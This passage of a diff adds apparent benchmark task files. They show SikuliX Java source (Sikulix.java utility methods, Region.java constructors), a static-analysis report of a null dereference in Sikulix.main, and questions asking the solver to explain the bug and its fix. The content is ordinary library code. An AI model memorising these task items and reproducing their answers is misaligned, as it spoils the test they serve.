+              + "\nexample: run(\"git*\") will run the JavaScript showcase from GitHub"
+              + "\nWhat you enter now will be shown the next time.",
+              "API::JavaScriptRunner " + version, 10, 60, runSomeJS);
+      if (runSomeJS.isEmpty()) {
+        popup("Nothing to do!", version);
+      } else {
+        FileManager.writeStringToFile(runSomeJS, lastSession);
+        Runner.runjs(null, null, runSomeJS, null);
+      }
+    }
+  }
+
+  private static boolean addFromProject(String project, String aJar) {
+    File aFile = null;
+    if (rt.fSxProject == null) {
+      return false;
+    } else {
+      aFile = new File(rt.fSxProject, project);
+    }
+    aFile = new File(aFile, "target/" + aJar);
+    return rt.addToClasspath(aFile.getAbsolutePath());
+  }
+
+  public static boolean isRunningFromJar() {
+    return runningFromJar;
+  }
+
+  public static String getJarPath() {
+    return jarPath;
+  }
+
+  public static String getJarParentPath() {
+    return jarParentPath;
+  }
+
+  private static boolean runningSikulixapi = false;
+
+  /**
+   * Get the value of runningSikulixUtilapi
+   *
+   * @return the value of runningSikulixUtilapi
+   */
+  public static boolean isRunningSikulixapi() {
+    return runningSikulixapi;
+  }
+
+  /**
+   * Set the value of runningSikulixUtilapi
+   *
+   * @param runningAPI new value of runningSikulixUtilapi
+   */
+  public static void setRunningSikulixapi(boolean runningAPI) {
+    runningSikulixapi = runningAPI;
+  }
+
+  /**
+   * call this, to initialize Sikuli up to useability
+   *
+   * @return the primary screen object or null if headless
+   */
+  public static Screen init() {
+    if (!canRun()) {
+      return null;
+    }
+//TODO collect initializations here
+    Mouse.init();
+    Keys.init();
+    return new Screen();
+  }
+
+  /**
+   * Can SikuliX be run on this machine?
+   *
+   * @return true if not running headless false otherwise
+   */
+  public static boolean canRun() {
+    return !RunTime.get().isHeadless();
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endNormal and terminates with
+   * returncode
+   *
+   * @param n
+   */
+  public static void endNormal(int n) {
+    log(lvl, "endNormal: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endWarning and terminates with
+   * returncode
+   *
+   * @param n returncode
+   */
+  public static void endWarning(int n) {
+    log(lvl, "endWarning: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  /**
+   * INTERNAL USE: convenience function: runs {@link #cleanUp(int)}, prints a message endError and terminates with
+   * returncode
+   *
+   * @param n
+   */
+  public static void endError(int n) {
+    log(lvl, "endError: %d", n);
+    cleanUp(n);
+    System.exit(n);
+  }
+
+  public static void terminate(int n) {
+    String msg = "***** Terminating SikuliX Setup after a fatal error"
+            + (n == 0 ? "*****\n" : " %d *****\n")
+            + "SikuliX is not useable!\n"
+            + "Check the error log at " + Debug.logfile;
+    if (Settings.runningSetup) {
+      if (Settings.noPupUps) {
+        log(-1, msg, n);
+      } else {
+        popError(String.format(msg, n));
+      }
+    } else {
+      Debug.error("***** Terminating SikuliX after a fatal error"
+              + (n == 0 ? "*****\n" : " %d *****\n")
+              + "It makes no sense to continue!\n"
+              + "If you do not have any idea about the error cause or solution, run again\n"
+              + "with a Debug level of 3. You might paste the output to the Q&A board.", n);
+      cleanUp(0);
+    }
+    System.exit(1);
+  }
+
+  /**
+   * INTERNAL USE: resets stateful Sikuli X features: ScreenHighlighter, Observing, Mouse, Key, Hotkeys When in IDE:
+   * resets selected options to defaults (TODO)
+   *
+   * @param n returncode
+   */
+  public static void cleanUp(int n) {
+    log(lvl, "cleanUp: %d", n);
+    ScreenHighlighter.closeAll();
+    Observing.cleanUp();
+    Mouse.reset();
+    //TODO move to class Keys after implementation
+    Screen.getPrimaryScreen().getRobot().keyUp();
+    //TODO what about remote screen sessions????
+    HotkeyManager.reset();
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetup() {
+    return doTestSetup("Java API", false);
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetup(String src) {
+    return doTestSetup(src, false);
+  }
+
+  /**
+   * INTERNAL USE: used in setup: tests basic SikulixUtil features
+   *
+   * @return success
+   */
+  public static boolean testSetupSilent() {
+    Settings.noPupUps = true;
+    return doTestSetup("Java API", true);
+  }
+
+  private static boolean doTestSetup(String testSetupSource, boolean silent) {
+    Region r = Region.create(0, 0, 100, 100);
+    Image img = new Image(r.getScreen().capture(r).getImage());
+    Pattern p = new Pattern(img);
+    Finder f = new Finder(img);
+    boolean success = (null != f.find(p));
+    log(lvl, "testSetup: Finder setup with image %s", (!success ? "did not work" : "worked"));
+    if (success &= f.hasNext()) {
+      success = (null != f.find(img.asFile()));
+      log(lvl, "testSetup: Finder setup with image file %s", (!success ? "did not work" : "worked"));
+      success &= f.hasNext();
+      String screenFind = "Screen.find(imagefile)";
+      try {
+        ((Screen) r.getScreen()).find(img.asFile());
+        log(lvl, "testSetup: %s worked", screenFind);
+        screenFind = "repeated Screen.find(imagefile)";
+        ((Screen) r.getScreen()).find(img.asFile());
+        log(lvl, "testSetup: %s worked", screenFind);
+      } catch (Exception ex) {
+        log(lvl, "testSetup: %s did not work", screenFind);
+        success = false;
+      }
+    }
+    if (success) {
+      if (!silent) {
+        popup("Hallo from Sikulix.testSetup: " + testSetupSource + "\n"
+                + "SikuliX seems to be working!\n\nHave fun!");
+        log(lvl, "testSetup: Finder.find: worked");
+      } else {
+        System.out.println("[info] RunSetup: Sikulix.testSetup: Java Sikuli seems to be working!");
+      }
+      return true;
+    }
+    log(lvl, "testSetup: last Screen/Finder.find: did not work");
+    return false;
+  }
+
+  @Deprecated
+  public static boolean addToClasspath(String jar) {
+    return RunTime.get().addToClasspath(jar);
+  }
+
+  @Deprecated
+  public static boolean isOnClasspath(String artefact) {
+    return null != RunTime.get().isOnClasspath(artefact);
+  }
+
+  public static String run(String cmdline) {
+    return run(new String[]{cmdline});
+  }
+
+  public static String run(String[] cmd) {
+    return rt.runcmd(cmd);
+  }
+
+  public static void popError(String message) {
+    popError(message, "Sikuli");
+  }
+
+  public static void popError(String message, String title) {
+    JOptionPane.showMessageDialog(null, message, title, JOptionPane.ERROR_MESSAGE);
+  }
+
+  /**
+   * request user's input as one line of text <br>
+   * with hidden = true: <br>
+   * the dialog works as password input (input text hidden as bullets) <br>
+   * take care to destroy the return value as soon as possible (internally the password is deleted on return)
+   *
+   * @param msg
+   * @param preset
+   * @param title
+   * @param hidden
+   * @return the text entered
+   */
+  public static String input(String msg, String preset, String title, boolean hidden) {
+    if (!hidden) {
+      if ("".equals(title)) {
+        title = "Sikuli input request";
+      }
+      return (String) JOptionPane.showInputDialog(null, msg, title, JOptionPane.PLAIN_MESSAGE, null, null, preset);
+    } else {
+      preset = "";
+      JTextArea tm = new JTextArea(msg);
+      tm.setColumns(20);
+      tm.setLineWrap(true);
+      tm.setWrapStyleWord(true);
+      tm.setEditable(false);
+      tm.setBackground(new JLabel().getBackground());
+      JPasswordField pw = new JPasswordField(preset);
+      JPanel pnl = new JPanel();
+      pnl.setLayout(new BoxLayout(pnl, BoxLayout.Y_AXIS));
+      pnl.add(pw);
+      pnl.add(Box.createVerticalStrut(10));
+      pnl.add(tm);
+      if (0 == JOptionPane.showConfirmDialog(null, pnl, title, JOptionPane.OK_CANCEL_OPTION)) {
+        char[] pwc = pw.getPassword();
+        String pwr = "";
+        for (int i = 0; i < pwc.length; i++) {
+          pwr = pwr + pwc[i];
+          pwc[i] = 0;
+        }
+        return pwr;
+      } else {
+        return "";
+      }
+    }
+  }
+
+  public static String input(String msg, String title, boolean hidden) {
+    return input(msg, "", title, hidden);
+  }
+
+  public static String input(String msg, boolean hidden) {
+    return input(msg, "", "", hidden);
+  }
+
+  public static String input(String msg, String preset, String title) {
+    return input(msg, preset, title, false);
+  }
+
+  public static String input(String msg, String preset) {
+    return input(msg, preset, "", false);
+  }
+
+  public static String input(String msg) {
+    return input(msg, "", "", false);
+  }
+
+  public static boolean popAsk(String msg) {
+    return popAsk(msg, null);
+  }
+
+  public static boolean popAsk(String msg, String title) {
+    if (title == null) {
+      title = "... something to decide!";
+    }
+    int ret = JOptionPane.showConfirmDialog(null, msg, title, JOptionPane.YES_NO_OPTION);
+    if (ret == JOptionPane.CLOSED_OPTION || ret == JOptionPane.NO_OPTION) {
+      return false;
+    }
+    return true;
+  }
+
+  public static void popup(String message) {
+    popup(message, "Sikuli");
+  }
+
+  public static void popup(String message, String title) {
+    JOptionPane.showMessageDialog(null, message, title, JOptionPane.PLAIN_MESSAGE);
+  }
+
+  public static String popSelect(String msg, String[] options, String preset) {
+    return popSelect(msg, null, options, preset);
+  }
+
+  public static String popSelect(String msg, String[] options) {
+    if (options.length == 0) {
+      return "";
+    }
+    return popSelect(msg, null, options, options[0]);
+  }
+
+  public static String popSelect(String msg, String title, String[] options) {
+    if (options.length == 0) {
+      return "";
+    }
+    return popSelect(msg, title, options, options[0]);
+  }
+
+  public static String popSelect(String msg, String title, String[] options, String preset) {
+    if (title == null || "".equals(title)) {
+      title = "... something to select!";
+    }
+    if (options.length == 0) {
+      return "";
+    }
+    if (preset == null) {
+      preset = options[0];
+    }
+    return (String) JOptionPane.showInputDialog(null, msg, title, JOptionPane.PLAIN_MESSAGE, null, options, preset);
+  }
+
+  /**
+   * Shows a dialog request to enter text in a multiline text field <br>
+   * Though not all text might be visible, everything entered is delivered with the returned text <br>
+   * The main purpose for this feature is to allow pasting text from somewhere preserving line breaks <br>
+   *
+   * @param msg the message to display.
+   * @param title the title for the dialog (default: Sikuli input request)
+   * @param lines the maximum number of lines visible in the text field (default 9)
+   * @param width the maximum number of characters visible in one line (default 20)
+   * @return The user's input including the line breaks.
+   */
+  public static String inputText(String msg, String title, int lines, int width) {
+    return inputText(msg, title, lines, width, "");
+  }
+
+  public static String inputText(String msg, String title, int lines, int width, String text) {
+    width = Math.max(20, width);
+    lines = Math.max(9, lines);
+    if ("".equals(title)) {
+      title = "Sikuli input request";
+    }
+    JTextArea ta = new JTextArea("");
+    int w = width * ta.getFontMetrics(ta.getFont()).charWidth('m');
+    int h = (int) (lines * ta.getFontMetrics(ta.getFont()).getHeight());
+    ta.setPreferredSize(new Dimension(w, h));
+    ta.setMaximumSize(new Dimension(w, 2 * h));
+    ta.setText(text);
+    JScrollPane sp = new JScrollPane(ta);
+    sp.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);
+    JTextArea tm = new JTextArea(msg);
+    tm.setColumns(width);
+    tm.setLineWrap(true);
+    tm.setWrapStyleWord(true);
+    tm.setEditable(false);
+    tm.setBackground(new JLabel().getBackground());
+    JPanel pnl = new JPanel();
+    pnl.setLayout(new BoxLayout(pnl, BoxLayout.Y_AXIS));
+    pnl.add(sp);
+    pnl.add(Box.createVerticalStrut(10));
+    pnl.add(tm);
+    pnl.add(Box.createVerticalStrut(10));
+    if (0 == JOptionPane.showConfirmDialog(null, pnl, title, JOptionPane.OK_CANCEL_OPTION)) {
+      return ta.getText();
+    } else {
+      return "";
+    }
+  }
+
+
+  public static boolean importPrefs(String path) {
+    return true;
+  }
+
+  public static String arrayToString(String[] args) {
+    String ret = "";
+    for (String s : args) {
+      if (s.contains(" ")) {
+        s = "\"" + s + "\"";
+      }
+      ret += s + " ";
+    }
+    return ret;
+  }
+
+  public static boolean exportPrefs(String path) {
+    return true;
+  }
+
+  /**
+   * store a key-value-pair in Javas persistent preferences storage that is used by SikuliX to save settings and
+   * information between IDE sessions<br>
+   * this allows, to easily make some valuable information persistent
+   *
+   * @param key name of the item
+   * @param value item content
+   */
+  public static void prefStore(String key, String value) {
+    PreferencesUser.getInstance().put(prefNonSikuli + key, value);
+  }
+
+  /**
+   * retrieve the value of a previously stored a key-value-pair from Javas persistent preferences storage that is used
+   * by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item
+   * @return the item content or empty string if not stored yet
+   */
+  public static String prefLoad(String key) {
+    return PreferencesUser.getInstance().get(prefNonSikuli + key, "");
+  }
+
+  /**
+   * retrieve the value of a previously stored a key-value-pair from Javas persistent preferences storage that is used
+   * by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item
+   * @param value the item content or the given value if not stored yet (default)
+   * @return the item content or the given default
+   */
+  public static String prefLoad(String key, String value) {
+    return PreferencesUser.getInstance().get(prefNonSikuli + key, value);
+  }
+
+  /**
+   * permanently remove the previously stored key-value-pair having the given key from Javas persistent preferences
+   * storage that is used by SikuliX to save settings and information between IDE sessions<br>
+   *
+   * @param key name of the item to permanently remove
+   * @return the item content that would be returned by prefLoad(key)
+   */
+  public static String prefRemove(String key) {
+    String val = prefLoad(key);
+    PreferencesUser.getInstance().remove(prefNonSikuli + key);
+    return val;
+  }
+
+  /**
+   * permanently remove all previously stored key-value-pairs (by prefsStore()) from Javas persistent preferences
+   * storage that is used by SikuliX to save settings and information between IDE sessions<br>
+   */
+  public static void prefRemove() {
+    PreferencesUser.getInstance().removeAll(prefNonSikuli);
+  }
+
+  private static Exception Exception() {
+    throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `runner.in` last assigned on line 137 could be null and is dereferenced by call to `send(...)` at line 138.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Sikulix.main(java.lang.String[])
+
+### Procedure Id:
+org.sikuli.script.Sikulix.main(java.lang.String[]):void.a4bc8b2c8be83782f8726e015b22a8e2
+
+### File:
+API/src/main/java/org/sikuli/script/Sikulix.java
+
+### Key:
+Sikulix.java|main|NULL_DEREFERENCE
+
+### Node Key:
+50eb9480b1a39477599a8d0ef0064573
+
+### Hash:
+e45a130424a0bf210f85613cf5eff46f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4506/instruction.md b/inferredbugs-4506/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..62da281ae4ab7d91eb907ec0a0ea2f1e07eeea3a
--- /dev/null
+++ b/inferredbugs-4506/instruction.md
@@ -0,0 +1,4100 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SikuliX-2014
+**Bug ID:** 37
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010-2014, Sikuli.org, Sikulix.com
+ * Released under the MIT License.
+ *
+ * modified RaiMan
+ */
+package org.sikuli.script;
+
+import org.sikuli.util.ScreenHighlighter;
+import java.awt.Rectangle;
+import java.awt.event.InputEvent;
+import java.awt.event.KeyEvent;
+import java.io.IOException;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import org.sikuli.basics.Debug;
+import org.sikuli.basics.Settings;
+
+import edu.unh.iol.dlc.VNCScreen;
+
+/**
+ * A Region is a rectengular area and lies always completely inside its parent screen
+ *
+ */
+public class Region {
+
+  static RunTime runTime = RunTime.get();
+
+  private static String me = "Region: ";
+  private static int lvl = 3;
+
+  private static void log(int level, String message, Object... args) {
+    Debug.logx(level, me + message, args);
+  }
+
+  /**
+   * The Screen containing the Region
+   */
+  private IScreen scr;
+  protected boolean otherScreen = false;
+
+  /**
+   * The ScreenHighlighter for this Region
+   */
+  private ScreenHighlighter overlay = null;
+  /**
+   * X-coordinate of the Region
+   */
+  public int x;
+  /**
+   * Y-coordinate of the Region
+   */
+  public int y;
+  /**
+   * Width of the Region
+   */
+  public int w;
+  /**
+   * Height of the Region
+   */
+  public int h;
+  /**
+   * Setting, how to react if an image is not found {@link FindFailed}
+   */
+  private FindFailedResponse findFailedResponse = FindFailed.defaultFindFailedResponse;
+  /**
+   * Setting {@link Settings}, if exception is thrown if an image is not found
+   */
+  private boolean throwException = Settings.ThrowException;
+  /**
+   * Default time to wait for an image {@link Settings}
+   */
+  private double autoWaitTimeout = Settings.AutoWaitTimeout;
+  private float waitScanRate = Settings.WaitScanRate;
+  /**
+   * Flag, if an observer is running on this region {@link Settings}
+   */
+  private boolean observing = false;
+  private float observeScanRate = Settings.ObserveScanRate;
+  private int repeatWaitTime = Settings.RepeatWaitTime;
+  /**
+   * The {@link Observer} Singleton instance
+   */
+  private Observer regionObserver = null;
+
+  /**
+   * The last found {@link Match} in the Region
+   */
+  private Match lastMatch = null;
+  /**
+   * The last found {@link Match}es in the Region
+   */
+  private Iterator<Match> lastMatches = null;
+  private long lastSearchTime;
+  private long lastFindTime;
+  private boolean isScreenUnion = false;
+  private boolean isVirtual = false;
+
+	/**
+	 * in case of not found the total wait time
+	 * @return the duration of the last find op
+	 */
+	public long getLastTime() {
+		return lastFindTime;
+	}
+
+  /**
+   * the area constants for use with get()
+   */
+  public static final int NW = 300, NORTH_WEST = NW, TL = NW;
+  public static final int NM = 301, NORTH_MID = NM, TM = NM;
+  public static final int NE = 302, NORTH_EAST = NE, TR = NE;
+  public static final int EM = 312, EAST_MID = EM, RM = EM;
+  public static final int SE = 322, SOUTH_EAST = SE, BR = SE;
+  public static final int SM = 321, SOUTH_MID = SM, BM = SM;
+  public static final int SW = 320, SOUTH_WEST = SW, BL = SW;
+  public static final int WM = 310, WEST_MID = WM, LM = WM;
+  public static final int MM = 311, MIDDLE = MM, M3 = MM;
+  public static final int TT = 200;
+  public static final int RR = 201;
+  public static final int BB = 211;
+  public static final int LL = 210;
+  public static final int NH = 202, NORTH = NH, TH = NH;
+  public static final int EH = 221, EAST = EH, RH = EH;
+  public static final int SH = 212, SOUTH = SH, BH = SH;
+  public static final int WH = 220, WEST = WH, LH = WH;
+  public static final int MV = 441, MID_VERTICAL = MV, CV = MV;
+  public static final int MH = 414, MID_HORIZONTAL = MH, CH = MH;
+  public static final int M2 = 444, MIDDLE_BIG = M2, C2 = M2;
+  public static final int EN = NE, EAST_NORTH = NE, RT = TR;
+  public static final int ES = SE, EAST_SOUTH = SE, RB = BR;
+  public static final int WN = NW, WEST_NORTH = NW, LT = TL;
+  public static final int WS = SW, WEST_SOUTH = SW, LB = BL;
+
+  /**
+   * to support a raster over the region
+   */
+  private int rows;
+  private int cols = 0;
+  private int rowH = 0;
+  private int colW = 0;
+  private int rowHd = 0;
+  private int colWd = 0;
+
+  /**
+   * {@inheritDoc}
+   *
+   * @return the description
+   */
+  @Override
+  public String toString() {
+    return String.format("R[%d,%d %dx%d]@%s E:%s, T:%.1f",
+            x, y, w, h, (getScreen() == null ? "Screen null" : getScreen().toStringShort()),
+            throwException ? "Y" : "N", autoWaitTimeout);
+  }
+
+  /**
+   *
+   * @return a compact description
+   */
+  public String toStringShort() {
+    return String.format("R[%d,%d %dx%d]@S(%s)", x, y, w, h, (getScreen() == null ? "?" : getScreen().getID()));
+  }
+
+	public String toJSON() {
+		return String.format("[\"R\", %d, %d, %d, %d]", x, y, w, h);
+	}
+
+  //<editor-fold defaultstate="collapsed" desc="OFF: Specials for scripting environment">
+  /*
+   public Object __enter__() {
+   Debug.error("Region: with(__enter__): Trying to make it a Jython Region for with: usage");
+   IScriptRunner runner = Settings.getScriptRunner("jython", null, null);
+   if (runner != null) {
+   Object[] jyreg = new Object[]{this};
+   if (runner.doSomethingSpecial("createRegionForWith", jyreg)) {
+   if (jyreg[0] != null) {
+   return jyreg[0];
+   }
+   }
+   }
+   Debug.error("Region: with(__enter__): Sorry, not possible");
+   return null;
+   }
+
+   public void __exit__(Object type, Object value, Object traceback) {
+   Debug.error("Region: with(__exit__): Sorry, not a Jython Region and not posssible!");
+   }
+   */
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Initialization">
+  /**
+   * Detects on which Screen the Region is present. The region is cropped to the intersection with the given screen or
+   * the screen with the largest intersection
+   *
+   * @param scr The Screen containing the Region
+   */
+  public void initScreen(IScreen scr) {
+    // check given screen first
+    Rectangle rect, screenRect;
+    IScreen screen, screenOn;
+    if (scr != null) {
+      if (scr.isOtherScreen()) {
+        if (x < 0) {
+          w = w + x;
+          x = 0;
+        }
+        if (y < 0) {
+          h = h + y;
+          y = 0;
+        }
+        this.scr = scr;
+        this.otherScreen = true;
+        return;
+      }
+      if (scr.getID() > -1) {
+        rect = regionOnScreen(scr);
+        if (rect != null) {
+          x = rect.x;
+          y = rect.y;
+          w = rect.width;
+          h = rect.height;
+          this.scr = scr;
+          return;
+        }
+      } else {
+        // is ScreenUnion
+        return;
+      }
+    }
+    // check all possible screens if no screen was given or the region is not on given screen
+    // crop to the screen with the largest intersection
+    screenRect = new Rectangle(0, 0, 0, 0);
+    screenOn = null;
+    if (scr instanceof Screen) {
+      for (int i = 0; i < Screen.getNumberScreens(); i++) {
+        screen = Screen.getScreen(i);
+        rect = regionOnScreen(screen);
+        if (rect != null) {
+          if (rect.width * rect.height > screenRect.width * screenRect.height) {
+            screenRect = rect;
+            screenOn = screen;
+          }
+        }
+      }
+    } else if (scr instanceof VNCScreen) {
+      for (int i = 0; i < VNCScreen.getNumberScreens(); i++) {
+        screen = VNCScreen.getScreen(i);
+        rect = regionOnScreen(screen);
+        if (rect != null) {
+          if (rect.width * rect.height > screenRect.width * screenRect.height) {
+            screenRect = rect;
+            screenOn = screen;
+          }
+        }
+      }
+    } else {//when scr == null
+      for (int i = 0; i < Screen.getNumberScreens(); i++) {
+        screen = Screen.getScreen(i);
+        rect = regionOnScreen(screen);
+        if (rect != null) {
+          if (rect.width * rect.height > screenRect.width * screenRect.height) {
+            screenRect = rect;
+            screenOn = screen;
+          }
+        }
+      }
+    }
+    if (screenOn != null) {
+      x = screenRect.x;
+      y = screenRect.y;
+      w = screenRect.width;
+      h = screenRect.height;
+      this.scr = screenOn;
+    } else {
+      // no screen found
+      this.scr = null;
+      Debug.error("Region(%d,%d,%d,%d) outside any screen - subsequent actions might not work as expected", x, y, w, h);
+    }
+  }
+
+  private Location checkAndSetRemote(Location loc) {
+    if (!isOtherScreen()) {
+      return loc;
+    }
+    return loc.setOtherScreen(scr);
+  }
+  
+  public static Region virtual(Rectangle rect) {    
+    Region reg = new Region();
+    reg.x = rect.x;
+    reg.y = rect.y;
+    reg.w = rect.width;
+    reg.h = rect.height;
+    reg.setVirtual(true);
+    reg.scr = Screen.getPrimaryScreen();
+    return reg;
+  }
+  
+  /**
+   * INTERNAL USE - EXPERIMENTAL
+   * if true: this region is not bound to any screen 
+   * @return the current state
+   */
+  public boolean isVirtual() {
+    return isVirtual;
+  }
+
+  /**
+   * INTERNAL USE - EXPERIMENTAL
+   * @param state if true: this region is not bound to any screen 
+   */
+  public void setVirtual(boolean state) {
+    isVirtual = state;
+  }
+
+  /**
+	 * INTERNAL USE:
+	 * checks wether this region belongs to a non-Desktop screen
+	 * @return true/false
+	 */
+	public boolean isOtherScreen() {
+    return otherScreen;
+  }
+
+	/**
+	 * INTERNAL USE:
+	 * flags this region as belonging to a non-Desktop screen
+	 */
+	public void setOtherScreen() {
+    otherScreen = true;
+  }
+
+  /**
+   * Checks if the Screen contains the Region.
+   *
+   * @param screen The Screen in which the Region might be
+   * @return True, if the Region is on the Screen. False if the Region is not inside the Screen
+   */
+  protected Rectangle regionOnScreen(IScreen screen) {
+    if (screen == null) {
+      return null;
+    }
+    // get intersection of Region and Screen
+    Rectangle rect = screen.getRect().intersection(getRect());
+    // no Intersection, Region is not on the Screen
+    if (rect.isEmpty()) {
+      return null;
+    }
+    return rect;
+  }
+
+	/**
+	 * Check wether thie Region is contained by any of the available screens
+	 * @return true if yes, false otherwise
+	 */
+	public boolean isValid() {
+		return scr != null;
+	}
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Constructors to be used with Jython">
+  /**
+   * Create a region with the provided coordinate / size and screen
+   *
+   * @param X X position
+   * @param Y Y position
+   * @param W width
+   * @param H heigth
+   * @param screenNumber The number of the screen containing the Region
+   */
+  public Region(int X, int Y, int W, int H, int screenNumber) {
+    this(X, Y, W, H, Screen.getScreen(screenNumber));
+    this.rows = 0;
+  }
+
+  /**
+   * Create a region with the provided coordinate / size and screen
+   *
+   * @param X X position
+   * @param Y Y position
+   * @param W width
+   * @param H heigth
+   * @param parentScreen the screen containing the Region
+   */
+  public Region(int X, int Y, int W, int H, IScreen parentScreen) {
+    this.rows = 0;
+    this.x = X;
+    this.y = Y;
+    this.w = W > 1 ? W : 1;
+    this.h = H > 1 ? H : 1;
+    initScreen(parentScreen);
+  }
+
+  /**
+   * Create a region with the provided coordinate / size
+   *
+   * @param X X position
+   * @param Y Y position
+   * @param W width
+   * @param H heigth
+   */
+  public Region(int X, int Y, int W, int H) {
+    this(X, Y, W, H, null);
+    this.rows = 0;
+    log(lvl, "init: (%d, %d, %d, %d)", X, Y, W, H);
+  }
+
+  /**
+   * Create a region from a Rectangle
+   *
+   * @param r the Rectangle
+   */
+  public Region(Rectangle r) {
+    this(r.x, r.y, r.width, r.height, null);
+    this.rows = 0;
+  }
+
+  /**
+   * Create a new region from another region<br>including the region's settings
+   *
+   * @param r the region
+   */
+  public Region(Region r) {
+    this(r.x, r.y, r.w, r.h, r.getScreen());
+    this.rows = 0;
+    autoWaitTimeout = r.autoWaitTimeout;
+    findFailedResponse = r.findFailedResponse;
+    throwException = r.throwException;
+  }
+
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Quasi-Constructors to be used in Java">
+  /**
+   * internal use only, used for new Screen objects to get the Region behavior
+   */
+  protected Region() {
+    this.rows = 0;
+  }
+
+  /**
+   * internal use only, used for new Screen objects to get the Region behavior
+   */
+  protected Region(boolean isScreenUnion) {
+    this.isScreenUnion = isScreenUnion;
+    this.rows = 0;
+  }
+
+  /**
+   * Create a region with the provided top left corner and size
+   *
+   * @param X top left X position
+   * @param Y top left Y position
+   * @param W width
+   * @param H heigth
+   * @return then new region
+   */
+  public static Region create(int X, int Y, int W, int H) {
+    return Region.create(X, Y, W, H, null);
+  }
+
+  /**
+   * Create a region with the provided top left corner and size
+   *
+   * @param X top left X position
+   * @param Y top left Y position
+   * @param W width
+   * @param H heigth
+   * @param scr the source screen
+   * @return the new region
+   */
+  private static Region create(int X, int Y, int W, int H, IScreen scr) {
+    return new Region(X, Y, W, H, scr);
+  }
+
+  /**
+   * Create a region with the provided top left corner and size
+   *
+   * @param loc top left corner
+   * @param w width
+   * @param h height
+   * @return then new region
+   */
+  public static Region create(Location loc, int w, int h) {
+    return Region.create(loc.x, loc.y, w, h, loc.getScreen());
+  }
+  /**
+   * Flag for the {@link #create(Location, int, int, int, int)} method. Sets the Location to be on the left corner of
+   * the new Region.
+   */
+  public final static int CREATE_X_DIRECTION_LEFT = 0;
+  /**
+   * Flag for the {@link #create(Location, int, int, int, int)} method. Sets the Location to be on the right corner of
+   * the new Region.
+   */
+  public final static int CREATE_X_DIRECTION_RIGHT = 1;
+  /**
+   * Flag for the {@link #create(Location, int, int, int, int)} method. Sets the Location to be on the top corner of the
+   * new Region.
+   */
+  public final static int CREATE_Y_DIRECTION_TOP = 0;
+  /**
+   * Flag for the {@link #create(Location, int, int, int, int)} method. Sets the Location to be on the bottom corner of
+   * the new Region.
+   */
+  public final static int CREATE_Y_DIRECTION_BOTTOM = 1;
+
+  /**
+   * create a region with a corner at the given point<br>as specified with x y<br> 0 0 top left<br> 0 1 bottom left<br>
+   * 1 0 top right<br> 1 1 bottom right<br>
+   *
+   * @param loc the refence point
+   * @param create_x_direction == 0 is left side !=0 is right side
+   * @param create_y_direction == 0 is top side !=0 is bottom side
+   * @param w the width
+   * @param h the height
+   * @return the new region
+   */
+  public static Region create(Location loc, int create_x_direction, int create_y_direction, int w, int h) {
+    int X;
+    int Y;
+    int W = w;
+    int H = h;
+    if (create_x_direction == CREATE_X_DIRECTION_LEFT) {
+      if (create_y_direction == CREATE_Y_DIRECTION_TOP) {
+        X = loc.x;
+        Y = loc.y;
+      } else {
+        X = loc.x;
+        Y = loc.y - h;
+      }
+    } else {
+      if (create_y_direction == CREATE_Y_DIRECTION_TOP) {
+        X = loc.x - w;
+        Y = loc.y;
+      } else {
+        X = loc.x - w;
+        Y = loc.y - h;
+      }
+    }
+    return Region.create(X, Y, W, H, loc.getScreen());
+  }
+
+  /**
+   * create a region with a corner at the given point<br>as specified with x y<br> 0 0 top left<br> 0 1 bottom left<br>
+   * 1 0 top right<br> 1 1 bottom right<br>same as the corresponding create method, here to be naming compatible with
+   * class Location
+   *
+   * @param loc the refence point
+   * @param x ==0 is left side !=0 is right side
+   * @param y ==0 is top side !=0 is bottom side
+   * @param w the width
+   * @param h the height
+   * @return the new region
+   */
+  public static Region grow(Location loc, int x, int y, int w, int h) {
+    return Region.create(loc, x, y, w, h);
+  }
+
+  /**
+   * Create a region from a Rectangle
+   *
+   * @param r the Rectangle
+   * @return the new region
+   */
+  public static Region create(Rectangle r) {
+    return Region.create(r.x, r.y, r.width, r.height, null);
+  }
+
+  /**
+   * Create a region from a Rectangle on a given Screen
+   *
+   * @param r the Rectangle
+   * @param parentScreen the new parent screen
+   * @return the new region
+   */
+  protected static Region create(Rectangle r, IScreen parentScreen) {
+    return Region.create(r.x, r.y, r.width, r.height, parentScreen);
+  }
+
+  /**
